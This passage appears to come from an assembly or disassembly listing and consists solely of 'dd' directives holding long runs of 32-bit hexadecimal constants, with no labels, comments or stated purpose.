		dd 0CE7ED000h, 397B52B4h, 0B10200F7h, 0AA30B21Ch, 49005A09h
		dd 61AC184h, 0A03B9Bh, 66134447h, 18CF7258h, 16ACE05Ah
		dd 28F2F000h, 5439A4ECh, 8C3B6700h, 0B21ACA27h,	0C0A7006Fh
		dd 0D7BC0197h, 2C0018C5h, 5BA00CF5h, 339CFAh, 0CFCB9812h
		dd 0FC97F6ADh, 0EB7D5709h, 9DD7078Bh, 0AE625940h, 1FE10030h
		dd 0F7765CEEh, 5800138Eh, 4C1CF08Fh, 3EBBD7Bh, 0FA2FEF65h
		dd 0E8C0BFCAh, 3300E160h, 0C0BCCBF5h, 379DFh, 1E187789h
		dd 8CE87D27h, 849C2800h, 8E7B019Ah, 39D74D1h, 0ADBA6661h
		dd 0A0808AE3h, 2300E6C1h, 0D5776F6Eh, 0BB1CD3h,	38D9910Fh
		dd 3FCB2C8h, 9CAB71Fh, 10AF2940h, 0C02EFB34h, 4DFA0D3Ch
		dd 231F9E72h, 0E1804870h, 3EBA05CFh, 938500F9h,	2AF7CC7Bh
		dd 0CB0028ACh, 0C03F6AC4h, 8DB077h, 66D38574h, 4C1430E2h
		dd 54725200h, 0F2F10F09h, 70C90A6h, 0D23C3B2Dh,	518BF099h
		dd 3505223Ah, 8C57A0CBh, 0D723FCC3h, 60C74C70h,	71EFA5Eh
		dd 2602A3EAh, 1ACF8062h, 7F00A4EEh, 7D6034F5h, 12124C92h
		dd 7AA27BDh, 206358B9h,	0FD8AEE6Fh, 0F3F19D02h,	40D0FC48h
		dd 1C27340h, 7E6319E6h,	50886733h, 0E4D517D8h, 0FC757C2Eh
		dd 0FB8F0Bh, 0D237D1BFh, 0FE9600ABh, 55389A80h,	302E3A5Ah
		dd 1008E45h, 0C2F62DA2h, 0E36C00E4h, 897A73FDh,	0A6001570h
		dd 0AE287FBCh, 1EAA03F8h, 8ECC745Fh, 5920EFC6h,	5985DFFh
		dd 0C8DD4C00h, 8515E091h, 0EB34027Dh, 26C0504Eh, 820D180h
		dd 7E0E611Eh, 6038C604h, 169A0F8Dh, 0E6C7002Ah,	55F968B9h
		dd 5D00A5FCh, 8F2EB606h, 0B8367Eh, 2FFA489Eh, 0A21152E6h
		dd 3E6D7000h, 5E86877h,	94E4040Bh, 0C79C73C4h, 0CD8E0075h
		dd 3E75C111h, 17001FF0h, 843B8C44h, 0B730DEh, 0DCE05A2Ah
		dd 0A3E14DD9h, 8FAB6E00h, 94C48A28h, 0A0A224BCh, 0B1A4005Eh
		dd 6218D92Eh, 8E307904h, 7F80E115h, 8F529Fh, 4B3D0C92h
		dd 72C68DABh, 6E6B5800h, 0E20A1640h, 6D93000Eh,	22850155h
		dd 0CB00D671h, 0B25E006h, 141916h, 377A75E1h, 40832D52h
		dd 0DFEE6000h, 0BFCCC7C9h, 0CBCE0404h, 905A36CDh, 55A576CCh
		dd 0C1C47401h, 851747CAh, 2FF5B0D3h, 7AE23E97h,	9D352580h
		dd 49CC5390h, 3663000h,	92DD4E41h, 24420167h, 22C3856Bh
		dd 54F17E56h, 4939F8EFh, 91260074h, 0D8CE597Fh,	0C900D21Eh
		dd 5E352438h, 117A428h,	9D7E134Dh, 0F499C1EAh, 0D226E4FBh
		dd 31D94C0h, 0A82A003Fh, 0CFD77254h, 0C5631E2Dh, 0C767819Fh
		dd 20E42105h, 100C01Ah,	1720F3BBh, 97C292h, 47E6F7E5h
		dd 0F4BF7C60h, 2345330Eh, 5F24C45Bh, 8EB8CCh, 6308A70Dh
		dd 4BAFB69Fh, 0D61F0A70h, 0D9CFC3CAh, 0CF007242h, 5C3919DAh
		dd 837008Ah, 0FB552BE9h, 7700B16Eh, 6B3E304Ah, 359A9Bh
		dd 6DE55B5Ah, 0ED251F6Fh, 0CF326900h, 9D0E3010h, 0A1AF5002h
		dd 0AF70078h, 0BEB1DEECh, 500C457h, 0DC24DA17h,	5DAAAFh
		dd 0C63F1BAEh, 56E7F25Fh, 1F829000h, 0A6FE40A8h, 106000B2h
		dd 69ECF128h, 735CF20Ch, 4D98001Ah, 3029135Ah, 1CA372AFh
		dd 80BC1BDEh, 1CD2500Ch, 40E80E89h, 0D3146400h,	0C7E702EBh
		dd 0CEF60035h, 0E232E8AAh, 9A0EBF07h, 0C1CA9F62h, 45C57B22h
		dd 31DED8h, 0AAD2045Ah,	7EAF4636h, 0A9923400h, 25F7F03Fh
		dd 9AF8008Ch, 4C9F8BA0h, 0DF09D62Fh, 80893475h,	8AA7B0B5h
		dd 0CAF000A2h, 72571376h, 0F8586CD5h, 4E3A0089h, 0FF6BDE45h
		dd 0EA25F6BAh, 28E0565h, 81C8439Dh, 0E0939BC9h,	0C41C4799h
		dd 22C02685h, 0E43D7D9h, 0EFFD0034h, 7FC05F88h,	0D116212Fh
		dd 0B040E606h, 67D0E055h, 0F63900B9h, 85145E66h, 30EF112h
		dd 0C6B636E6h, 3D196BEFh, 1500D0F7h, 814C1D76h,	6E00956Ch
		dd 0DE0A829Fh, 0E5D9E3h, 0F72D9992h, 2CD83756h,	0F2A369C0h
		dd 0C0599084h, 69EBFC48h, 9778DF28h, 7A65831Ch,	809BB9CBh
		dd 3E27C2C0h, 3FA2C46h,	2E1A0001h, 8B96F475h, 634C4707h
		dd 0ED90CDD5h, 0AC8A6Ah, 103127F6h, 64738BE2h, 222FF0Fh
		dd 0EE556066h, 0A8DF23h, 625D4E31h, 51991CFEh, 61A2F024h
		dd 4081A80h, 9BD9C1Bh, 828D96B0h, 35DC48A0h, 0D01C5667h
		dd 3D40DB26h, 47DDFFF0h, 74D200D6h, 7A40F42Ah, 0C60B2DB7h
		dd 8FE71BB6h, 82805DF6h, 992F894Fh, 668D0050h, 0F078B16Bh
		dd 333E269Bh, 245903CCh, 0F10904A1h, 5BD43057h,	2DD00D5h
		dd 2FA7FDA9h, 2200E6F1h, 923D763Fh, 370CE47h, 158DC325h
		dd 3000165Eh, 3F143713h, 51C7Fh, 6E8B7984h, 297B8191h
		dd 0D3E69B00h, 0E448782Bh, 22E024h, 604B38A2h, 0C755FC67h
		dd 5BE4B27Eh, 49D42F03h, 88AD2BAEh, 0EF8B91h, 994D7CCAh
		dd 615A881Eh, 5516B100h, 0B0D1D371h, 0B71300B4h, 0C250B6E5h
		dd 7C13A3D2h, 544FB87Ah, 0B91FA378h, 0DA77D998h, 0FE1EE4E0h
		dd 7E79009Fh, 19DD7FD9h, 0A71D2CBBh, 84C040BFh,	7CA51C6Dh
		dd 331F0D4h, 0A61B71F8h, 0E5D08A6Bh, 3D002482h,	0F3127EB4h
		dd 7C05E9A3h, 0A76C0157h, 31AB49CDh, 6F6F02Dh, 63710E1Eh
		dd 15E81044h, 5C552489h, 3ACD2440h, 0D2E2D5h, 4D3D632Bh
		dd 54EF9EB5h, 333F2300h, 27A86FAEh, 94CD4C57h, 48FFB01h
		dd 0ED86E29Eh, 440BFCFAh, 36824702h, 0FD227B41h, 0B88E4AE2h
		dd 0A09BB8C0h, 94002967h, 952CAA6Dh, 9704B2h, 1F932ED4h
		dd 235F1190h, 2EA8923Ch, 0C6005377h, 4E69E4BEh,	0A12C00ABh
		dd 7F9B474Bh, 67F683C2h, 6000EFF2h, 3576D6F8h, 0EEA01FF2h
		dd 421600F9h, 0B8849F55h, 0D63C3AE3h, 90D7803Dh, 1FF2564h
		dd 0D53B0194h, 6F9B198Dh, 0F467E924h, 0A71ED8B5h, 5480C136h
		dd 0C3B3CE74h, 0E8E3003Eh, 3BD141BAh, 0DC01338Eh, 9F3408F1h
		dd 0F7DC39B8h, 0ADE24Bh, 3B421240h, 1E0A0506h, 70F148h
		dd 0B7C846EBh, 9289B04Fh, 16C74B4h, 2AB5A305h, 607E0C35h
		dd 0A701E054h, 78113E14h, 0A06B1D01h, 0F5C2832h, 0D819013Dh
		dd 6C33BA0h, 0C50A1280h, 2C3A2091h, 0D0BF737Fh,	0D73B0EA6h
		dd 21825881h, 1C50C924h, 293A23F8h, 228060A1h, 72A7469Fh
		dd 72ABE81Ch, 1F18DEFDh, 0F910047h, 99CA4869h, 0C29EC11Fh
		dd 1E5B9C79h, 0E0403870h, 9C9CF8Fh, 0AF1CCF61h,	0AEA0F047h
		dd 0ED71A760h, 8FB84Eh,	1581E73Bh, 0BFCACBE5h, 24A2470Ah
		dd 0D004CCFh, 236181FFh, 0BC50A00Fh, 381800EEh,	872E75CAh
		dd 0B7BDC3Ah, 0D4225B04h, 0CE80B46Dh, 0EEDE427Bh, 0CFA600CAh
		dd 0B3AC230Dh, 720045BBh, 85A7A139h, 1FB9FA61h,	808EB411h
		dd 95D13F44h, 0E8000AE6h, 0CD8905B2h, 0FFB8BDh,	0A4C88D98h
		dd 0EADAB5F9h, 1CBB6F1Dh, 0A1C0AA42h, 892560BAh, 11B7983h
		dd 0B851E112h, 0ECA90D4Dh, 9F00CB44h, 90AE2ACFh, 73EBDEh
		dd 695485A3h, 3A66A1B1h
		dd 7BDE13Ah, 0B0B78768h, 0CAD6D463h, 70A4A098h,	161D0Fh
		dd 0BC75512Ch, 68C4A976h, 0CA144800h, 0D2EA3343h, 23D8050Ah
		dd 0D0601303h, 0CF269ACCh, 0ADC0A4A3h, 0FA7D670Ah, 94560E18h
		dd 0BA1158h, 1A59E340h,	236D7E93h, 0E8F2151Dh, 8EB90038h
		dd 0F824AB8Dh, 0EC670603h, 51DE1A9Bh, 4FE4EB00h, 0C847BFDh
		dd 0E75B1C4Ch, 47A0806Ah, 766BB59Eh, 82390638h,	48BD586Fh
		dd 1AE0A0A4h, 3E2B218Bh, 4C1451A1h, 0C205F40Bh,	4096F076h
		dd 0FB8BD2FCh, 0F4016DE2h, 17D4241Dh, 92C86854h, 84CB2C8Fh
		dd 0ECCA0152h, 202180F5h, 0E900FAC5h, 961DBB8Eh, 0F6146E8Fh
		dd 0F32F00CFh, 0F84A6A08h, 8C66210h, 208EFFh, 0C2F31DAh
		dd 48F346C9h, 5720C400h, 0A1BB0834h, 21F6DCh, 86C61594h
		dd 8F93146Fh, 56ED4E00h, 0B7F1E935h, 0B9E1333Ch, 21037D08h
		dd 6656C6AFh, 0A155B03Bh, 5AB50657h, 50DEC1A3h,	28F38236h
		dd 0EE18F558h, 0E934561Ch, 51163h, 3D56C7ACh, 7BBD84h
		dd 2F8C8A91h, 0C02C982h, 0D093F1C0h, 18DB88E9h,	78FB3F12h
		dd 4083E571h, 8CC03C20h, 143FEB5Ch, 0A03CC1E9h,	56C4A1h
		dd 80EA46ECh, 4CE7C058h, 0F238D530h, 1F457A33h,	87DDEE9Ah
		dd 0C16BB3B7h, 8404DF1Ch, 0AC10FD19h, 0A7419403h, 73628006h
		dd 98E479h, 0D26E55F7h,	80CCD99Dh, 0E298B40Eh, 7914C0BAh
		dd 0A49E65h, 0E65C55A5h, 1FA270BBh, 0A81ACD04h,	28C05251h
		dd 0FC0F51Bh, 0F44CDF8Bh, 0BA41D40Fh, 208C7F9Dh, 5895C466h
		dd 553E0163h, 775FC07Bh, 411A1B4h, 608FF5D0h, 54AD104Bh
		dd 3DFC2919h, 0E6454Ch,	7D56F4C3h, 1F54923h, 77BC06Ah
		dd 88220EADh, 1D0BA929h, 401100E0h, 0CD0C412Eh,	0DC10DD1Ch
		dd 12432DC1h, 90FFDF7Bh, 5819DEh, 97846CFCh, 87D489AAh
		dd 836DFA00h, 0C8F6B624h, 2CD700B3h, 0DE464AA8h, 0F7C9C78h
		dd 0F2F71400h, 8A34606Dh, 3C19ECB0h, 0AA00E292h, 0B6BD556h
		dd 76012ABBh, 224AC38Dh, 7AECB485h, 8F491F77h, 3A510009h
		dd 4A15EA4Eh, 9D009690h, 95CBACBCh, 0B02349h, 1B2AECE4h
		dd 84D526EBh, 7C00DE7Fh, 2155C2BFh, 48398C3Bh, 0A024F39Ah
		dd 95C50082h, 49A4C0DDh, 6645A0A0h, 7823800h, 190D7FD1h
		dd 0BC56030Ah, 96BE4E4Fh, 5AF0DFB0h, 0F9E62B00h, 246F708h
		dd 3E8A09E4h, 3000DE5Fh, 7F13A103h, 9E2C1DE4h, 0D300A64Eh
		dd 0B18D90E8h, 911C0059h, 0FC3B5C9Ch, 8DB0C5C7h, 808BE53Ch
		dd 0F952DEBFh, 0E74067h, 0FBBE9A2h, 0C9F1019Eh,	25F8AF1Dh
		dd 26004312h, 32F30E46h, 229A009Bh, 2915056Fh, 0DEA0EF5Fh
		dd 7799978h, 20922107h,	0DBE0B3B2h, 0EE3718A2h,	4C6600FAh
		dd 0A346ACA9h, 0C000D238h, 0A679D015h, 3D5DFh, 0F7551F2Bh
		dd 133FE7Fh, 0DE197878h, 97B08157h, 4F7AC8h, 6803EE90h
		dd 95E8CBB2h, 0B40036F4h, 5D3E69ECh, 15EE5FDh, 146438A5h
		dd 0C40CBDF3h, 54008929h, 74F3A04h, 76B140h, 30EFF564h
		dd 7C3B6873h, 9336BD01h, 41CF78C6h, 122E0h, 0DE074DD9h
		dd 0E377D76h, 3D4FD30Eh, 28407EDCh, 0DA4191CAh,	0F3EE6BFh
		dd 669C781h, 37E0C40Fh,	0F1659385h, 44000FF0h, 0CF71E2D2h
		dd 826486h, 0D56EC46Dh,	66510736h, 0BAD7900h, 2925345Ch
		dd 8E710305h, 0AF605E0Dh, 5AB392E0h, 0C7B56D1Eh, 44D6F241h
		dd 0AAC013D1h, 0B7CC00D7h, 0DCA053D8h, 2300ECBAh, 150F039Ah
		dd 0E94AA574h, 58E685DCh, 28008F5Ah, 0AA23BC93h, 0EB002E04h
		dd 4739A60Ch, 0D97E70h,	0EF0AD1BAh, 3A9E1A07h, 0F0DAAF00h
		dd 0AB0997EAh, 3B5B0013h, 0C69F2111h, 68018CEFh, 7F8E1225h
		dd 7DCCED26h, 8813003Ch, 8AEF2869h, 0A8005F6Ah,	3F53A5D6h
		dd 6D841Eh, 9AFA389Dh, 695D4570h, 55348107h, 9C302F99h
		dd 6AA450h, 8FD4294Eh, 49CBE26Ch, 0B3D5F700h, 797C0CD2h
		dd 5BF02C2Ch, 0EB70084h, 0D834EAC8h, 0AEC3860Fh, 80216B35h
		dd 0BC77A256h, 182500F5h, 0DCFFAC47h, 22007EE7h, 5989C242h
		dd 0F2D57145h, 0AD8A0069h, 14E5024Ah, 8600DC68h, 33F3A80Fh
		dd 4B29A5Ch, 947AEBCEh,	4310819Dh, 4203E0C7h, 0F50D6400h
		dd 0D7F7A288h, 5C4249Bh, 167B000Fh, 947883F8h, 6A819100h
		dd 0FFEA2EBBh, 1FE60Ah,	5B768DB2h, 0B03566C9h, 0F9E8300h
		dd 0E914FC8Ch, 0F0090063h, 7413DB1h, 0CA00D0FBh, 837D4D0Ah
		dd 6A64B7h, 0DEBA0E1Dh,	11A8F8E4h, 4BCAFF00h, 0D2F04551h
		dd 35180193h, 7FDCFC6Eh, 59FFF0ACh, 0EED7C400h,	9C3A5845h
		dd 98E90083h, 0E7FA092Dh, 0A300FE3Eh, 5080F3Ch,	3B121Ah
		dd 0E24BE9F0h, 18A9BC06h, 7436CBA0h, 0C5B0C700h, 0D07A82A1h
		dd 881F002Ch, 96F7C4F6h, 605E0EFh, 3391AE7Eh, 4D0DED80h
		dd 56AE2DFh, 7F92DFEh, 649703B8h, 73C09BB1h, 0F0005D13h
		dd 6CDAAC8Ah, 12336931h, 16B722Dh, 0F64FCA73h, 102CE490h
		dd 7A9AA400h, 0D7744BDCh, 80918AEh, 0D8A9119Ch,	0F5CD9000h
		dd 2E130AFh, 112600A6h,	0FC843CA7h, 81008B0Fh, 0BF8CF4E6h
		dd 791BBAAh, 4FD0DA49h,	0A150204Ch, 200D730h, 0DFCDD187h
		dd 0FD9EB2h, 8E78DBEFh,	1F77B138h, 706C3Fh, 0CC2F3482h
		dd 250E99Fh, 176E15E0h,	94A183C1h, 20A5B1CFh, 0A100AB62h
		dd 8A04D5D9h, 0D3DBE7h,	7E92D76Fh, 718BF566h, 7353B00h
		dd 156C4506h, 7FE2D5h, 7E86DF20h, 0F77F757h, 0DD3A8F00h
		dd 161E43A4h, 17660088h, 9FFDE891h, 0E348DFECh,	0E483007Ah
		dd 0D25185DCh, 0BD35000Ah, 0CEC3AFEEh, 0F500E931h, 786C306Fh
		dd 0DE39E6h, 73387BD1h,	5AA20F56h, 0A00049E2h, 0CFC3197Fh
		dd 919F8Eh, 0A312D257h,	80A93A86h, 6C236700h, 0F8A61D41h
		dd 33AE3F38h, 501F0E87h, 3144F0F2h, 5A00436Eh, 0B37BE78Ch
		dd 387A910Ch, 0F0085EEh, 66F01211h, 27E41D44h, 4BE00B06h
		dd 30332Fh, 0E4A3145Fh,	0CD81C6CAh, 43FBC301h, 189E020Fh
		dd 96F9DC80h, 0F8F28DBAh, 92C3D000h, 3171DDACh,	0EE970A45h
		dd 0C06B5Ah, 46FEDA35h,	5101398Fh, 0F9F16A3Bh, 53D99233h
		dd 0F068FCh, 0D24630F8h, 0FEC162A9h, 89F6AC00h,	84637496h
		dd 777CFDh, 0B241AA85h,	0AC500AEDh, 1864B900h, 0EED2CDC1h
		dd 0DDCB0034h, 409EAE9h, 0E0C7348h, 0F0998705h,	76F00D9h
		dd 0AAA5F3A1h, 0B607B0ECh, 0C5836AE3h, 0E2E14320h, 0B31650DEh
		dd 992E0E51h, 0AC208932h, 0ABA08DFAh, 2CCDA40Fh, 1069A01Bh
		dd 0E76D3Bh, 4A53E0AEh,	4E24AAC4h, 0FC2A4300h, 640B5FCEh
		dd 3140358h, 9BE8814Bh,	240709B0h, 0BAA32600h, 186F8830h
		dd 43B0085h, 0BC65190Ch, 313B7A11h, 0CBA00E9Eh,	165307D4h
		dd 77C790C0h, 0A5E312A3h, 9F241EDFh, 394C9E6Fh,	7AAB0C00h
		dd 0D8C3C6D5h, 0B2FAE600h, 41FD09F3h, 16DF24F8h, 7AD28E84h
		dd 0BDC60EF7h, 0A259160h, 0E407D676h, 0D7D3EF53h, 0D471E610h
		dd 3B570022h, 17750BFFh, 0F0FF7EAh, 0B17F5Dh, 0FDB287E8h
		dd 4FB9016Eh, 1807DB28h, 8A58E46Bh, 5E626000h, 83631654h
		dd 44FC0093h, 655D5191h, 7504F617h, 0A8A3E2BDh,	35A2EFC0h
		dd 7ED100E4h, 0DFD9F1A7h, 0A0072578h, 0C506F794h, 0C61ADAC0h
		dd 0F405F0E4h, 688F0133h, 0B90BBD2Bh, 7A98F722h, 11C053B5h
		dd 0A829672Ch, 93E865h,	0D509B4B0h, 0E8CFFF5Fh,	4A7DDD00h
		dd 6175ACE0h, 8E2D05FBh, 4086BB5Ch, 1A5EB690h, 1201AD6Fh
		dd 0D4D6EA89h, 0EE077D9h, 0D3E620DDh, 11AE780Ah, 4F98DEh
		dd 0D2D0FAB1h, 0F0D900D5h
		dd 1F3AF4F2h, 0F30654C8h, 65C4B7AFh, 0E9851F60h, 6E7680A7h
		dd 86916762h, 69325101h, 0A5AFFE1Eh, 288142E9h,	898EC16Ah
		dd 615AE0E5h, 5B0AF31Dh, 0B70A5F64h, 0EB0628CAh, 0F0303A9Dh
		dd 868107B9h, 41A1B02Ah, 8F666026h, 8071AF18h, 9CDB528Bh
		dd 0B2F045h, 8992C11Fh,	45A62F3h, 24A06674h, 0CA362DFDh
		dd 379605Fh, 0A1462912h, 0B6A88679h, 4D0165C9h,	0CF1D696Ah
		dd 0A050897Ah, 9468ACh,	0B25982ABh, 0A995FDD8h,	698A8100h
		dd 0D2A5A183h, 90F71D48h, 77188054h, 6C5F0FC0h,	69AD8203h
		dd 0F8B0399Bh, 1DAA4C3Fh, 0C77B7785h, 7ED1654Dh, 686A9A40h
		dd 0CF287D8h, 0A434F00h, 2B9196FDh, 472502F6h, 9F7B6D29h
		dd 0D3C52541h, 348CE4D8h, 77CE1000h, 69290F72h,	78957159h
		dd 0B8960125h, 162F3BD8h, 5A8EF0D3h, 0DA0026E4h, 0A57BF8DBh
		dd 0E856C95Ch, 9DD73AA7h, 77750880h, 53F88B32h,	0E9F12803h
		dd 0A8CCAB85h, 409C4Ch,	9EC9A1D5h, 0C0EA56C3h, 5C022D71h
		dd 0D27068E5h, 0A7F0A043h, 15A6EF62h, 0A08A8EDEh, 0AF22007Dh
		dd 0EC0136Fh, 330012E2h, 2123093Eh, 15ADCF0h, 5F246039h
		dd 0FF6F81EBh, 0A3B63807h, 2B815201h, 0D44091F1h, 1ADF663h
		dd 0E29EEB83h, 0D450A94Ah, 7602AA04h, 0A721CD6Bh, 74F8A02Fh
		dd 6120716h, 0A8CE80FCh, 312E2834h, 0A71D3584h,	0F89D2971h
		dd 0F7733D0h, 0AEBAA1F2h, 6E80E9C0h, 0FE00D626h, 2DC40418h
		dd 786612FAh, 0B50E0439h, 90BEE13Dh, 9457C27Ch,	0EB623F00h
		dd 0BD149E97h, 831084Dh, 4A064E88h, 37138A6h, 0FAA93057h
		dd 2FE06294h, 0FD0A9202h, 18AC17A8h, 0DC4C5800h, 503EBDh
		dd 9B77C3A5h, 17D3BFADh, 8082A23Eh, 0D0CF2765h,	0CA2481h
		dd 8746D8E2h, 0C47B998h, 0F796C407h, 0D0F0DA53h, 5F6E41h
		dd 0CFB021E0h, 0ABAAD2Bh, 80169D39h, 39CA9FB9h,	80C2D43Dh
		dd 63000F79h, 0FDFA5611h, 1E9C2371h, 0C1415BACh, 0E51AA54Fh
		dd 45588738h, 384C225Ah, 0BA8537B3h, 58078171h,	2C25F0CEh
		dd 77EA504Ch, 0DBADBE03h, 0C0F319A2h, 1436C73h,	0A83112F0h
		dd 80D83D4Dh, 5098CD81h, 143FA83h, 421D4FA0h, 80D53DD4h
		dd 0ECF76F21h, 0E2AC79FEh, 97A90F65h, 45C0885Dh, 1242309Bh
		dd 0DB3C5700h, 23CC54FAh, 0BF38C3E0h, 0CFA0A77Fh, 0F26FBCC2h
		dd 0C52C8008h, 0F20B8E79h, 97F000AFh, 0E467287Ah, 7D00A036h
		dd 14126059h, 0E90CEF8h, 333CE3AAh, 9BEDE2A0h, 0BA005174h
		dd 195308BEh, 740B138Fh, 217B601Ah, 12BA56D3h, 955D5E1Eh
		dd 909F7EC7h, 0F7076E30h, 0C5681FBBh, 0CB410064h, 79E7386Dh
		dd 0D012740Fh, 6B90200Eh, 8068989Dh, 0F01F1AB6h, 0A40CCAFFh
		dd 3BAE6079h, 7603C366h, 6186788Bh, 3CA584Ch, 40EEDE3h
		dd 8C3C99C6h, 6122A8E0h, 10AD208Bh, 1AC0E0D4h, 7260BD76h
		dd 0C49B4360h, 41FA60EBh, 5E46830Dh, 70CF7406h,	60096D16h
		dd 0CB2D21F1h, 0D1E10545h, 787DE80Fh, 2C732E70h, 0FE808654h
		dd 4C996E00h, 45B4391Eh, 0D25600C1h, 0ED342DB5h, 117EFE98h
		dd 0AD9FA0C0h, 7F1F24h,	0DBB1831Ah, 95978F38h, 41157100h
		dd 0A1487A84h, 0A82400FBh, 80350178h, 3F008C3Dh, 9889906Ch
		dd 0D12C5h, 0BCBEA53h, 0BF7D875Fh, 0C126C200h, 93481434h
		dd 1EB205EDh, 80C9F838h, 0A0D864B8h, 300E877Ch,	5ECBF6E2h
		dd 78F8DE01h, 29843703h, 83071B14h, 6BF00162h, 0DD7439B5h
		dd 0F5214E60h, 1D5406F3h, 0CC002h, 0EA0B2C9Fh, 0F70C2E96h
		dd 28F174A0h, 44CB00D4h, 0CAA937A2h, 0D7E0BB1Eh, 233B4C18h
		dd 0CDC94630h, 91593480h, 22807B88h, 9BEC507h, 0FA4D448Ch
		dd 49071A01h, 0AE0F755Ch, 7EF805FDh, 2870C122h,	3E444C9h
		dd 61D0B06Eh, 3438C0F9h, 135C62D8h, 7F956C03h, 307D8339h
		dd 2D21DB08h, 3D0F5C7Bh, 0DF5931A4h, 1E14B206h,	0C0BEFA79h
		dd 5360B429h, 490097BAh, 72918F24h, 15198DEh, 83D7C4B2h
		dd 0B1E7D611h, 0D9B09080h, 34094100h, 0F3726800h, 514D3564h
		dd 0C39C009Bh, 4326499Dh, 0AB00E08Ch, 3361E896h, 0F48032A5h
		dd 5B5300DFh, 4B04787Ah, 0C5003FDAh, 9CED2855h,	0F18DAE02h
		dd 0D3FC5FD1h, 1B2100E1h, 0F8846E4Ch, 8CC7633h,	0F7421B7h
		dd 17D81D65h, 68354580h, 0C700B1CEh, 0C008B347h, 355EBB4h
		dd 0D77C1583h, 0D8F9D651h, 0F0E7ED43h, 0FD1E576Bh, 0EFC3A95Ah
		dd 18DD63DFh, 607AFC18h, 6B0CB30Ah, 10B2F938h, 0FB6D00E4h
		dd 967640A9h, 8E668364h, 721DA08h, 5FB7539h, 0E22E11BFh
		dd 0A2DF01Bh, 88C8F431h, 0B980A38Bh, 0EE9DA095h, 3900774Dh
		dd 761A7435h, 19D5DCDFh, 90B68E28h, 407DEB3h, 3D560158h
		dd 0CCC74857h, 98A92C3Ah, 4A318B0h, 0BE4C2522h,	722C85h
		dd 77D721DFh, 29C4CDBDh, 0EB0742EEh, 0FFE8AD30h, 40050298h
		dd 8C817B81h, 96EADD27h, 260C6BE1h, 62D01880h, 8F9D2860h
		dd 0E121B300h, 95873C1Eh, 36036987h, 37DA800Ch,	1472A93Eh
		dd 0BA5A8500h, 0F5F48D7h, 42330230h, 0F9D918B4h, 3D911040h
		dd 8847991Ch, 0E8522A01h, 0F2877960h, 0C0335BC1h, 0DA284CF9h
		dd 0B34E7400h, 0B4E93F46h, 7FE03CBDh, 189C71Dh,	0D4488834h
		dd 1F50C07Eh, 0F9EAEF00h, 5E95B254h, 0FB403F14h, 309E26h
		dd 37C5E978h, 0A9786C58h, 603E9C7Ah, 0D8190FFDh, 87DE03C1h
		dd 334000FCh, 0E02A4658h, 81023D1Ch, 97C253E7h,	2F294093h
		dd 0F30C009Eh, 4B2D3205h, 650084D7h, 0ED994C1h,	0BF5663h
		dd 32EE76F9h, 0E68EB051h, 69B20800h, 0A56D05EBh, 0D2D51E7Ah
		dd 0FA078C45h, 74727B70h, 1FB9D43Ch, 7A42EF69h,	81302A91h
		dd 5890C28Ah, 657DE0h, 96813842h, 92AA4407h, 0A800A2B8h
		dd 64849F99h, 0E545DDh,	3F1B2E4h, 0E6BB627Bh, 5A04BC01h
		dd 73FBE191h, 0FCB20898h, 1DEAB88Eh, 0CF1BC207h, 560A308h
		dd 0D9EEBEh, 66460E72h,	0BBE535A1h, 0FE605EF8h,	7D922E19h
		dd 0FC09285Bh, 1DEB3D28h, 0DE484003h, 0A88B65Fh, 240F6365h
		dd 80C5170Eh, 2D1871F4h, 9A2A00ABh, 0E35B870Bh,	3E00DFF0h
		dd 0B9232CCDh, 1F99F5h,	77B3F48Ah, 0BFE0742Ah, 6B16539h
		dd 70FA5FF9h, 128B0E71h, 8C40BE7Ah, 0BD360EBAh,	0F30F48h
		dd 0C602ACFCh, 7430431Dh, 486070Ch, 1D072F8h, 0D46494AFh
		dd 6979DC96h, 0D7212A63h, 0FBECD87Ah, 0FEDE1DEAh, 50148012h
		dd 695ADD92h, 63021026h, 0E91D1800h, 873690h, 0BDA84008h
		dd 0F7768F55h, 6402C00Dh, 80BF50BBh, 0D06B01C6h, 658CAEF7h
		dd 0D288FE0Ch, 8F66Fh, 0A5B22A56h, 60DDB7Bh, 718670C0h
		dd 0D46B5162h, 0B31BC788h, 21AEA0FCh, 0E9AA7B08h, 0D7080258h
		dd 0DB0009FEh, 0A0997A17h, 0BEA424h, 0D37B295Ch, 0DB838AB5h
		dd 179808DDh, 3E64320h,	29ACEE5Ch, 0EC9F8DFh, 19D883E3h
		dd 0FAA75D2Eh, 0E6B8E020h, 888F5439h, 4D2B0066h, 0FB47FA72h
		dd 50661321h, 12213E08h, 14CB353h, 31C67B05h, 0A802C48Fh
		dd 0DD4C154h, 0CDFE4F18h, 7E8A568h, 6278A198h, 0AC7433A4h
		dd 38C90BABh, 0BB0220B5h, 0FC293327h, 80991DE8h, 0C27BEAF8h
		dd 0DBB032BAh, 86A5F300h, 63B3615Bh, 1D09E21Bh,	0E0F20Ch
		dd 853CC772h, 0C2004D98h, 230BAC6Bh, 2CAB47h, 71837DFBh
		dd 10344F90h, 79CAF718h, 0C0ADD108h, 717B0A20h,	0E558549Ah
		dd 6B4500FCh, 0C94D0613h, 0F288183Bh, 4B1D2880h, 8136C316h
		dd 0E1D74E01h, 898F12Ah, 0B6A219Eh, 9D3B9B98h, 0C51804D3h
		dd 0AB80DE8Eh, 315D3ECCh
		dd 0D2582A0Fh, 0AB309C44h, 49927541h, 0C8F7CA74h, 305D02DBh
		dd 0F2829CBh, 91F7F7D5h, 0C2808988h, 0C0B37E36h, 11E2A321h
		dd 0A4100B9h, 0C46C7236h, 92871885h, 0E1BB583Dh, 8C4D072Ah
		dd 0C28659C8h, 0C56136D9h, 0C32C48D8h, 0C14088h, 313A3D36h
		dd 7FE94158h, 0D0472700h, 25C02E45h, 0E49011h, 0F8D673B6h
		dd 7D2CB3ACh, 0C241B907h, 1CA216E4h, 95D080F9h,	14BDA22h
		dd 562B6C93h, 3F13A419h, 50C3B4E0h, 0FCE8801Ch,	23EC1761h
		dd 5ABCB044h, 69CFC200h, 764C1C43h, 859B003Dh, 5544F0BBh
		dd 0D000617Bh, 258920CCh, 3AFB5A6h, 522D0166h, 0E1A8B1AEh
		dd 0FD002E58h, 0E09F4B68h, 1D11EFBh, 4272CB95h,	0D49CAD90h
		dd 0D900E8CAh, 0B06EA9B2h, 74330E0Ah, 5B971709h, 74FC002Ah
		dd 6F58CA8Eh, 63528B1Dh, 0CB211618h, 39F80036h,	0E84FC091h
		dd 9308FEC7h, 0F02326Eh, 0A2C0424Ah, 0EAB2F8B6h, 2B4DD901h
		dd 4198CF95h, 0FCF830h,	34CBC190h, 0EC67D104h, 372640C1h
